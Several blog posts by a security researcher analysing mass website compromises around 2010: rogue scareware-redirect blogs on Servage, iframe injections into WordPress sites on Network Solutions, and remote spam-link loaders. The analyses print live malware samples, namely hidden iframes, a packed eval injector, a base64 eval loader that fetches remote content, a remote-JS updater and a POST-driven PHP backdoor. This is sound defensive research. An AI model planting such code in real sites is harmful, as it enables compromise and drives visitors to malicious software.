1. Try the site: command on Google. It will display all indexed pages on your site (e.g. site:example.com – replace example.com with your own site’s domain name). If your site is relatively small and you can browse through all the search results, you’ll be able to find links to rogue web pages if Google has indexed them.

1.1. If you are a Servage client, you can use the following command to check your site for the rogue blogs described in this article: site:example.com inurl:entry (again, replace example.com with your site’s domain name)

2. Regularly check the following sections of Google Webmaster Tools: Top search queries, Keywods and Internal links – you might spot irrelevant keywords and fishy links there.

To webmasters

As you can see, if you don’t look properly after you site, don’t be surprised if you eventually find it actively abused by hackers and blacklisted by Google. And this situation with Servage shows that your hosting service provider will not look after your sites either. Moreover, some hosting providers may have serious security issues that allow hackers mess with their clients’ sites for months and years.

If your website is happened to be on a shared server, you should be prepared to deal with all sorts of security problems yourself. The key factors are regular monitoring and reliable backup/restore strategy. This way you will be able to detect problems before they incur serious damage and easily recover your site to the most recent clean state. A clever backup/restore strategy will also help you seamlessly move to another hosting provider if you find that your current provider can’t guarantee secure shared hosting environment.

Time to act

As a security researcher, I’m trying to unearth facts that can help all involved parties (webmasters, Servage, Google) mitigate the effects of hacker attacks. I believe, that such posts can make a difference.

I hope that after reading this posts:

• webmasters will check their sites to make sure they are not affected
• hosting providers will try to find out whether they have similar issues on their servers or not
• and guys from Google will try to make it harder to poison their search results, etc.

What do you think?

Related posts:

• Hackers Abuse Servage Hosting to Poison Google Image Search
• Internals of Rogue Blogs
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Bety.php Hack. Part 2. Black Hats in Action

It’s not the first time I write about Servage. Actually this will be the 4th article in the series about rogue blogs on Servage network. It all started in November when I wrote about malicious blogs created in subdirectories of legitimate websites. The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. In the second article, I showed the history of those rogue blogs (the first generation have dates in April of 2009) and how most of them (90%+) were found on Servage network. In the third article, I wrote about the internals of those rogue blogs and their malicious features.

A few days ago I found a new generation of rogue blogs on Servage network.

Here are the details ..

I was going over suspicious URLs detected by Unmask Parasites and found one page that looked fishy. It’s report paged looked like this:

When I opened it in a web browser (in Linux with NoScript to minimize risks), it resembled the rogue blogs that I had found on Servage network sometime ago: a blog with multiple posts that consisted only of a few images hot linked from other sites and no meaningful information. All its pages redirected visitors to a fake anti-virus site. And the blog definitely didn’t belong to the site at the root of the domain.

At the same time it was clear that this new site was different:

• Different URL structure
• Images interspersed with textual keywords
• No categories
• Different malicious script

Any way, I decided to check the site IP – it belong to Servage network! Was is a coincidence? To find it out I decided to try to find any other similar blogs.

Google searches

The URL structure of the blog was quite unique (e.g. example.com/someword1234/?x=y:10&paged=4) so I tried to use the allinurl: Google search operator.

The allinurl:x=y:10 paged query returned 16,000,000 results! All of them (at least the first 1,000 that Google allows to see) led to rogue blogs similar to the one I had just found.

Having analyzed the URL structure of different blogs, I came up with many more search queries. E.g.:

• allinurl:x=y:09 paged – (blog pages for posts published in 2009) 5,190,000 results
• allinurl:x=y:10 m:04 paged – (blog pages for posts published in April of 2010) 3,850,000 results
• allinurl:x=y:10 m:03 paged – (blog pages for posts published in March of 2010) 2,600,000 results

Note, the numbers of search results reported by Google may significantly vary depending on internal Google’s factors (e.g. data centers that were used to prepare them).

Analysis of IP addresses

Since search results for different queries don’t completely overlap, I managed to compile a list of 1130 unique domain names of rogue blogs – enough to start the analysis of their IP addresses.

638 unique IPs

936 unique domains evenly distributed in the range of 77.232.66.0 – 77.232.92.255 – Servage.net

162 unique domains evenly distributed in the range of 92.61.146.0 – 92.61.153.255 – Servage.net

The rest 32 domains either don’t resolve (7) or exist in a parked state thus pointing to servers of parking services. No wonder, during the several months of this attack some domains could have expired and some sites ceased to exist. A few more sites no longer have the rogue blogs (probably moved from Servage when they detected the hack) and only 3 (less than 0.3%) sites from different networks contained the rogue blogs.

97% of the rogue blogs are hosted by Servage in subdirectories of legitimate websites.

How many rogue blogs are there?

Of course, those 1130 hacked sites are only a subset of all hacked sites with the new type of malicious blogs. Lets estimate the whole number.

The allinurl:x=y:10 m:03 paged search returns 2,600,000 results. This provides us with the idea about the number of indexed archive pages for posts published in March of 2010. Most of the blogs have less than 40 such pages, few have more than 100 pages, and the largest number of archive pages of March posts I saw was 144.

So let’s be over-optimistic and assume that Google has indexed 150 pages on each blog that contain the following sting in their URLs: ?x=y:10;m:03&paged=<num>

2,600,000/150 = 17,333

More than 17,000 legitimate site of Servage clients contain subdirectories where criminals have created rogue blogs that poison millions of search results and redirect unsuspecting web searchers to scareware sites that push Fake AV software. And if we take more realistic number of 50 indexed archive pages per site in March, this will give us 50,000+ unique blogs. (Well, some sites host two rogue blogs in different subdirectories but it still leaves us with 25,000+ compromised legitimate sites!)

Another estimate is based on the numbers in the names of subdirectories. If they are unique throughout all the blogs, this will give us about 10,000 unique rogue blogs (the largest number I saw was 10345). Google could have indexed duplicates of archive pages with alternative URLs, so this number looks credible.

Note, these numbers don’t include previous generations of rogue blogs that are still there.

How many indexed malicious pages are there?

Now let’s estimate the number of the malicious landing pages indexed by Google.

Lets take the numbers of indexed archive pages for each month of this attack (November 2009 through April 2010):

April: 4,240,000
March: 2,600,000
February: 1,010,000
January: 1,270,000
December: 119,000
November: 32,800
Total: 9,271,800

Each archive page contains 4-5 individual posts. This means that there should be at least 36 million individual pages. Or 45+ million pages including archive pages. This is optimistic estimate.

But if we take the allinurl:x=y:10 paged search that returns indexed archive pages only in 2010, we get 16,000,000 results, which gives us 80 million malicious pages in just four months of this year.

The loooong tail

Each page is optimized for several different search keywords (main keywords and a dozen of keyword variations). This means that search results for more than 100 million search queries are poisoned by this particular attack. Of course, most of those keywords are relatively unpopular. Some of them may attract just a few searches a day, some may attract only one search a month, and some keywords may not be used at all, but if we take into account the volume of Google searches and the quantity of poisoned search results, I can roughly estimate that every month more than a million of searches return results that contain links to those rogue blogs.

Exposure of poisoned search results

What are the chances that searchers will actually see or click on the poisoned search results? After all, malicious blogs have to compete with legitimate resources for the same keywords. And if the poisoned link is displayed on the 10th or even 3rd page of search results, hardly anyone will see it.

Well, with regular web search the situation is more or less normal. Only about 5% of tested keywords produce one or two poisoned links on the first two pages (top 20) of Google search results. Usually on the second page. However some specific queries (like this one woman with a broken neck and leg braces, beware!) return the first pages of search results that consist exclusively of links to the rogue blogs described in this article.

Image Search

However, these blogs contain a lot of images for a reason. They primarily target image searches. And I should also mention that about half of the keywords are of adult nature. So most pages contain very explicit images and Google Image search excludes those blogs from searches with strict and moderate (default) filtering. Only a very small percentage of rogue blogs with relevantly moderate content make it into default image search results.

But once you turn off the SafeSearch (after all the content of the blogs suggests that they are after porn searchers who disable the SafeSearch filtering), you’ll get poisoned search results on the first page for almost every keyword found on the malicious landing pages. Moreover, for many of the searches, more than 50% of search results on the first pages point to the rogue blog pages.

With turned off filtering, you don’t have to search for adult content to be exposed to poisoned search results. Even completely innocent searches like “Barry Manilow” or “Trade Show British Columbia” will get you a few (if not all) malicious links on the first pages of Google Image search results. As you can see, not only porn sites can be dangerous. Even changing Google search preferences to “porn-friendly” mode may be dangerous.

Safe Browsing Warnings

In Google’s defense, I can say that a lot of the rogue blogs have been blacklisted already and Google would display the “This site may harm your computer” warning next to their web search results. However, this warning don’t appear in Image Search (although when people click on the blacklisted results they see the warning page anyway) and only about 30% of the malicious blogs are currently flagged. This means that web surfers won’t see any warnings when the click on the rest 70% (tens of millions) of the poisoned search results. I hope this article will help improve this ratio.

Blogger

Not only did hackers created rogue blogs in subdirectories of legitimate websites on Servage network, they also experimented with similar Blogger blogs. They created a lot of blogs with URLs like: candace8711.blogspot.com and robyn2123.blogspot.com – 20 blogs under a single Blogger account.

For Blogger blogs, hackers used special domain name in scripts that redirected to Fake AV sites: blogpics3 .in

But it looks like Blogger blogs didn’t work as well as blogs on established legitimate sites, and they seems to have been abandoned in the beginning of April. Since then, Blogger team has closed a lot of such malicious blogs (for example the blogs I specified above, had been online just a few days ago – now they are gone).

CelebsFineCtPics

Another alternative location of rogue blogs is the celebsfinectpics .com site. It has many subdomains like kara10181 .celebsfinectpics .com or dann3841 .celebsfinectpics .com. They are just the same rogue blogs redirecting users to scareware sites. The only difference is they are hosted on the hackers’ own server.

The domain name, used in the malicious scripts on the celebsfinectpics .com blogs is celebsfinectpics .in.

This celebsfinectpics .com domain resolves to 94 .228 .209 .133. This is one of the IPs where the malicious scripts on the rogue blogs point to.

Apparently, those subdomains didn’t work well for criminals too. I don’t see any new posts after April 22.

Summary

Servage

Servage hosting provider has serious security problems that allow hackers to create thousands of rogue blogs in subdirectories of legitimate websites of Servage clients. This happens at least since April of 2009. Servage have been notified about it a few months ago but their support never acknowledged the problem and blamed it on users, which is hard to believe in when the attack is limited to Servage servers and affects thousands of websites. Moreover, Servage hasn’t done anything to stop the attack and evict hackers from their servers.

Black-hats vs Google

Black-hat SEO guys have figured an effective way to spam Google Image search and now their spammy and malicious links dominate on the first pages of search result for millions of queries. Google should definitely tweak its ranking algorithms for Image Search or improve its anti-spam efforts.

Google can start by delisting subdirectories with the rogue blogs on legitimate websites described here. It’s quite simple to identify them all:

• <site_domain.tld>/word\d{4,5}/
• AS29671 (SERVAGE) network
• with external scripts from hippocounter .info or hippocounter .com

Or use the searches that I mentioned above – they are quite accurate.

(Consider this article as a bulk spam and malware report – I’m not going to report every URL individually)

SafeSearch

Turning off the SafeSearch option in Google search (especially in Image search) is a dangerous practice. It significantly increases risk of clicking on poisoned search results that lead to attack sites even when you search for something completely innocent.

Have your say

What do you think about hosting providers that allow such massive hacks and don’t address them for a long time? Did you ever stumble across search results pages where most of the links point to malicious or outright spammy pages?

Your comments are welcome. It would be especially interesting to hear from Servage and Google.

To be continued…

In the next post I’ll post more details about those rogue blogs.

Related posts:

• More About the Rogue Image Blogs on Servage Network…
• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Internals of Rogue Blogs
• Bety.php Hack. Part 2. Black Hats in Action

However it was a single incident and I didn’t see any obvious pattern back then. Two days later, when I noticed David’s (Sucuri Security) article about this very issue and the follow-up by Brian Krebs, I decided to take a closer look at it. What I found is quite interesting and raises a few serious questions about security of websites on shared servers.

Quick recap of David’s and Brian’s articles

1.Many WordPress blogs on have been recently hacked. Someone has injected the following iframe that pushes malicious content from networkads .net server

<iframe style="display:none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>

2. The injection was done via WordPress database. Hackers replaced the value of the “siteulr” option in the “wp_options” database (table prefix may be different in you case) with the iframe code:

<iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"></iframe>'

3. This dumb modification of the siteurl parameter breaks most blogs (both visually and functionally) since there are many dependencies on the the siteurl parameter in WordPress. So Webmasters need to manually revert the value of this parameter to the correct site URL in their MySql database (it should be something like: http://yousite.com/blogroot ).

4. All affected sites are hosted by Network Solutions.

My findings

Google search

The hack breaks HTML code. This is a typical line of HTML broken by this iframe injection:

<link rel="pingback" href=""><iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"></iframe>/xmlrpc.php" />

Since most WordPress themes actively use the siteurl parameter in the <head> section of HTML, this broken code makes them look like this:

which makes it possible to compose a Google search query that will return similarly hacked blogs. For example: wp-content text/css media screen xmlrpc.php -pingback – this search produces about 5,000 results. Many of them point to the hacked blogs. These 5,000 of course include multiple indexed pages from the same sites, but I still could easily find more than 60 infected blogs on the first 10 pages of search results. (Warning: many blogs are still infected at the moment of writing.)

Network Solutions only

All those blogs are hosted by Network Solution. Not a single infected site outside of their network. This means that this specific attack is limited to Network Solutions servers.

Server IPs

Most of the infected blogs (40+) are on the server with IP address: 205.178.145.65

I also found similarly infected blogs on 16 more Network Solutions’ IPs:

205.178.145.85
205.178.145.86
205.178.145.99
205.178.145.105
205.178.145.116
205.178.189.131
206.188.192.204
206.188.193.32
206.188.193.63
206.188.193.63
206.188.193.64
206.188.193.179
206.188.193.195
206.188.193.220
206.188.193.250
206.188.196.127
206.188.211.27

Not only a database hack

Not only does this attack inject the iframe code into WordPress database, on certain sites hackers also inject the iframe code (slightly modified) directly into file on disks.

<iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '></iframe>

The places of injection suggest that the code was not taken from database.

Other Domains

networkads .net is not the only domain name used by this attack. Before it, hackers used binglbalts .com/ grep/ and now they use mainnetsoll .com/ grep/.

This three domains point to the same server with IP address 64.50.165.169 (Lunar Pages) which seems to be a hacked dedicated (or virtual dedicated) server with several legitimate sites.

According to whois:

• binglbalts .com – created on Apr 01, 2010
• networkads .net – create on Apr 04, 2010
• mainnetsoll .com – created on Apr 10 2010

Inspite of such a short history, according to Google Safe Browsing database, binglbalts. com and networkads.net have already changed several servers on 3 different networks.

Update Apr 13, 2010: It just occurred to me that this mainnetsoll .com domain name almost directly tell that this attack specifically targets Network Solutions (NetSol) – mainNetSoll .com

Update: obfuscated script

When I published this article I checked the compromised sites once more and discovered this obfuscated script on one of them:

e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'<e w="0" y=\\\' b (!2.7){ 2.7="t://u.p/q/"; 2.r=0; 2.s=0;} \\\'></e>\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;

It was right after the <body> tag.

What this script does is checks if there is a cookie called “seref“. If there is no such a cookie, it injects a hidden iframe from hxxp://mainnetsoll .com/ grep/, and then sets this “seref “cookie for one day.

As you can see the attack constantly evolves, and this time the malicious code is directly injected into some WordPress file.

Other hacks

It looks like these latest iframe injections are not the first time when WordPress blogs on those Network Solutions servers are being attacked by hackers. I can still see signs of other attacks.

Hidden links

Some of the hacked sites contain hundreds of spammy links that can only be visible if you browse with disabled JavaScript. For some reason, every link is enclosed in <noindex> tags and use rel=”nofollow” in <a> tag’s parameters. So what’s the use if it is neither for normal web surfers nor for search engines?

The links are followed by the networkads hidden iframes.

alkoltashov.narod.ru

I also found a dozen of infected WordPress blogs that try to pull hidden spammy links from hxxp://alkoltashov .narod .ru/ sites.txt. The links are supposed to be displayed in a <div> located way outside of the visible area, but because the configuration of Network Solutions servers that disable URL file-access, those link injections fail with the following error (which is also displayed outside of the visible are ):

<div style="left: -2322px; position: absolute; top: -3433px">
Warning: readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
Warning: readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163
</div>

According to Google cache, this unsuccessful remote link injection happened back in January.

And it is also limited to blogs on Network Solutions servers.

WebEasySearch .com

Some of the hacked blog also redirect search engine results to webeasysearch .com site. And this only happens if you haven’t visited the hacked blogs before (must be checking WP cookies).

This hack encrypts the search engine’s query string, and then passes it to the webeasysearch .com site which decrypts it and displays it’s own search results for the same query.

I bet it is done by some PHP code injected into WordPress files.

The style of the hacks and the range of the affected sites make me think that all those hacks were done by the same hacker.

Update Apr 16, 2010: Found an alias of this site: sbdtds .com. It is used via an injected script. Both sites are hosted on the server with IP 91.205.96.8 (Netherlands, Todayhost Limited)

Update Apr 16, 2010: Cloaked spam

During the investigation of another black-hat SEO case, I noticed that a familiar IP address:  205.178.145.65. This is the most affected by this WordPress hack Net Sol’s server.  I knew it was not just coincidence and decided to find out the scale of this problem.

Using search engines, I found 144 unique hacked sites with spammy pharma links on this server. Moreover, when I checked those sites with Unmask Parasites, more than 100 of them were still infected.  Not only WordPress sites are affected. Cloaked spammy content is also found on Joomla sites and even on simple HTML sites.

This server is actively exploited by hackers. If your site happened to be hosted on this server, move ASAP. This is a really bad neighborhood. There are a lot of abandoned sites with vulnerable old versions of popular web applications – so hackers will easily regain access to it even if Net Sol change every password on this server.

Conclusion

1. The hackers definitely target WordPress blogs, but I doubt any WordPress vulnerability was used. Otherwise we would see similarly hacked blogs not only on the Network Solutions servers.

2. At the same time more than a dozen of Network Solutions servers are affected. There might be a security hole (or a least flaw) on their network. They should seriously investigate this issue.

3. I agree with David from Sucuri Security who thinks this can be done via access to a single compromised (or even legally created by hackers) account. Hackers can use this account to execute scripts that read content of wp-config.php files on neighbor accounts (according to reverse IP lookup there are several thousand sites on the server with IP 205.178.145.65).

It is quite easy (I won’t give out the tricks to wanna be hackers here but they work well on Network Solutions servers) to identify sites with WordPress blogs on any server and then identify absolute paths to wp-config.php files that contain database credentials, and names of WordPress tables – all in plain text. Then hackers simply need to run another script that injects whatever they want into databases of their server neighbors.

Similarly, any malicious code can be injected into any writable files under neighbor accounts.

WordPress design flaw

On shared servers, you can protect your own files from malicious neighbors making them read-only. Usually 644 file permissions and 755 directory permissions do the trick.

However, if neighbors somehow get your database credentials, they can do whatever they want with your database. In case of WordPress, it’s enough to read the wp-config.php file in the root of a WordPress blog.

To hide the content of the wp-config.php file from server neighbors, David (Sucury Security) suggests that this file should have 750 permissions (I guess he meant 640 since the execution permission is not required). Unfortunately, this trick will only work on servers with suPHP. On other servers where web server executes PHP scripts with its own rights, this trick will completely break WordPress blogs. Every page will produce the “Failed opening required ‘wp-config.php’” error.

This means that WordPress blogs on most shared servers are vulnerable to this sort of attack. It merely takes to hack one account (most shared servers have multiple hacked accounts) or even to create a regular account specifically for hacking purpose and you can steal MySQL database credentials of your neighbors with WordPress blogs. Any other database driven web scripts that store database credentials in plain text are also vulnerable.

Guys from WordPress are aware of this problem on shared servers but for some reason they also give this strange advice about 750 permissions for wp-config.php that both incorrect (750 instead of 640) and will only work for suPHP server:

Note that if you are on a shared-server the permissions of your wp-config.php should be 750. It means that no other user will be able to read your database username and password. If you have FTP or shell access, do the following:

chmod 750 wp-config.php

So at this point, there is no universal way to protect your database credentials on shared servers. At the same time, I see more and more attacks where a compromise account on a shared server is used to hack other sites on the same server. It’s time to revisit the approach used in the wp-config.php file.

Have your say

What do you think about this issue with world-readable wp-config.php files on shared servers? Any thoughts on how to mitigate it?

If you are a Network Solutions client with a hacked site, I’d also want to hear about your experience. Could you tell us about file permissions you use (especially if you were hit by those alkoltashov .narod .ru and WebEasySearch attacks)?

Any other comments are also welcome.

Related posts:

• Spammy Links From Remote Servers
• Rogue blogs redirect search traffic to bogus AV sites. Part 2 .
• From Hidden Iframes to Obfuscated Scripts
• Evict Hackers
• Goscanpark: 13 Facts About Malicious Server-Wide Meta Redirects

There are many ways hackers can inject links. They can insert them as plain HTML (will work on most sites) or as an encrypted PHP code (the files should be processed as PHP). Hackers can even use SQL injection on database-driven sites that don’t properly sanitize user input.

Decoupling code from data

Sometimes hackers decouple code from data and inject only some PHP instructions that load spammy links from a standalone file. This makes the construction more flexible since they can simply change the content of that single file whenever they decide to promote a new set of links – no need to update every infected file on a site.

In this post, I’ll show a even more clever way of decoupling code from data.

This is a line of PHP code that you can find in infected files on some compromised sites:

<?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

When decoded, it executes the following code:

$l="http://tourreviews .asia/ links2/link.php";
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l);
$r = curl_exec($ch);
curl_close($ch); }
else{ $r=implode("",file($l)); }
print @$r;

This is a very simple script that tries to download a link.php file from tourreviews .asia/ links2/ and insert its content into infected files.

So what is so clever about this script?

Flexibility

If hackers decide to change anything in the injected HTML code, all they need to do is change the content of the link.php file on their own server and the change will be immediately visible (well, not actually visible since the links are invisible) on hacked pages on all compromised sites. This is very convenient if you want to experiment with different layouts, numbers of links per page, etc.

For example, a few month ago this link.php file contained 50 links inside the <u style=”display:none;”> … </u> tags that made them invisible. Right now this file contains 195 links enclosed in the <font style=”position: absolute;overflow: hidden;height: 0;width: 0″>…</font> tags that make them invisible. Moreover, every link is a <li> element now.

Hackers also constantly rotate the links. On every load the content of the link.php file slightly changes. This way they probably want to make the spam less suspicious since identical link blocks on multiple sites are more likely to trigger anti-spam filters.

Easy maintenance

Once the sites are hacked and the PHP code is injected into legitimate files there’s no need to break into the compromised websites again every time hackers what to change the set of spammy links. The changes will propagate even to websites where the original security hole is already closed (e.g. changed FTP passwords, updated third-party scripts, etc.)

Running several campaigns is also easy – just change the URL of the links file and you are done.

Small footprint

Since all the spammy links are loaded from a remote location on the fly, the size of the injected PHP code is less than 0.5Kb, so the difference is less obvious than in attacks that directly inject all the links (dozens of Kilobytes) into legitimate files.

Out of reach

Remote location of the links file makes the hack detection more difficult. Webmasters can’t simply scan their servers for the spammy keywords they find injected in their web pages. And the links file can’t be deleted by a site admin who occasionally stumbles across a suspicious file.

Drawbacks

However this approach has its obvious drawbacks too. Once the location of the remote file becomes known:

1. Search engines can regularly check it and discard (or even penalize) any links found in it. So the whole black-hat SEO campaign may fail.
2. This remote site can be shut down. And since it’s a single point of failure, hidden spammy links will disappear from all the hacked sites. Again, the black-hat campaign will flop and hackers will need to start from scratch.

To webmasters

I can only guess how hackers break into legitimate websites and inject this particular PHP code into web pages (using stolen FTP credentials or via a hole in some script – hope you can help me to answer this question in comments). Actually it doesn’t matter. You should be ready that thing like this may happen. What you should really do is minimize the damage of such attacks (hidden spammy links can negatively affect you search engine ranking). So your goal is to detect intrusion and restore the site as soon as possible.

1. Integrity – regularly check that no one tamper with your files on server
2. Fresh clean backup – regularly make backups and keep some historical versions of backups so that you can easily find a restore a clean version of your site should you detect a problem.

These both points can be covered a revision control system. Most revision control systems will report any changes in existing files and provide you with an ability to roll back to any historical state of the site. Very convenient. Just don’t forget to commit changes when you make them.

While it is not as universal, you can use my Unmask Parasites to check web pages for hidden illicit stuff like spammy invisible links. After all it doesn’t require any setup and you’ll see results instantly.

Have your say

Did you come across similar hacks or maybe even more elaborate black-hat SEO schemes? Let’s unmask them!

Related posts:

• “Cheap Vista” or Cloaked Spam on High-Profile Sites
• Security Lesson From a Kenyan Marathon Runner
• Rogue blogs redirect search traffic to bogus AV sites. Part 1
• Bety.php Hack. Part 2. Black Hats in Action.

Recently I’ve been contacted by one of Servage clients who found his sites hacked:

I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything ‘clever’ with webmail.) That led me to the file structures and a quick google led me to your site.

He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.

In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.

Blog engine

Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.

The whole engine consists of only 4 files:

• index.php – main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.
• template.php – template of web pages that uses the data provided by the index.php. About 20 Kbytes.
• categories.dat – serialized blog categories.
• .htaccess – rewrite rules to support SEO-friendly URLs.

And this engine is indeed anonymous. I couldn’t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests: WeirD blog engine.

Features

The engine can do pretty much everything you expect a blog engine should be able to do.

• add/remove entries
• break down entries by categories
• display entries in chronological order
• support SEO-friendly URLs
• notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.
• provide RSS feeds
• support trackbacks
• support custom templates

Flat files

The entries (there are hundreds of them) are stored in flat .txt files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:

• PHP
• sufficient directory permissions to create files
• Apache (to use SEO-friendly URLs)

Here’s a sample content of one of such text files (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).

.htaccess

Since the purpose of the rogue blogs is poisoning of search results, “SEO-friendly” URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Malicious features

What makes these blogs malicious is following modifications to the original engine.

css.js

All blog pages contain the following script tag:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:
function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

As you can see, this code tries to update the css.js file downloading its new content from hackers’ sites: t.xmlstats .in, t.jsonstats .in and, in some versions of the engine, t.jsstats .in.

This is how hackers make sure their blogs always redirect to currently active scareware sites.

Anti-Googlebot

Another modification is the code that detects requests from Google’s network checking the IP address against known Google’s IP ranges. If a request from Google is detected, the css.js file is replaced with css.google.js. This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.

Different generations

In November, I discovered that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: blog, bmblog, bmsblog.

Backdoor script

Another interesting file I received is the index.php above the directories with rogue blogs:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.

Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.

When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn’t use any scripts at all.

As I showed in my previous post, 85%+ of discovered rogue blogs are hosted by Servage so I’m almost sure some Servage-specific security hole was used. (Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers. )

Still active

While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue bmsblog blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search inurl:bmsblog/category 2010.

To Webmasters

While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.

1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.

2. Regularly scan your server for any suspicious files and directories.

3. Regularly check raw server logs. You may find requests to files that shouldn’t be there.

4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.

5. Many shared hosting plans include Webalizer. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics – they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics completely misses this sort of data.

6. Hackers usually create rogue web pages to poison Google search results. So it’s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the site:you_site_domain.com search command.

7. Regularly check reports in Google Webmaster Tools. They may also reveal suspicious activity. Useful reports: Top search queries, Keywords, Links to your site.

8. If you find new directories with rogue files, disallow them in robots.txt. This will show Google that you don’t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).

For example, if you find rogue files in /cgiproxy/bmsblog/ the robots.txt should be:
User-agent: *
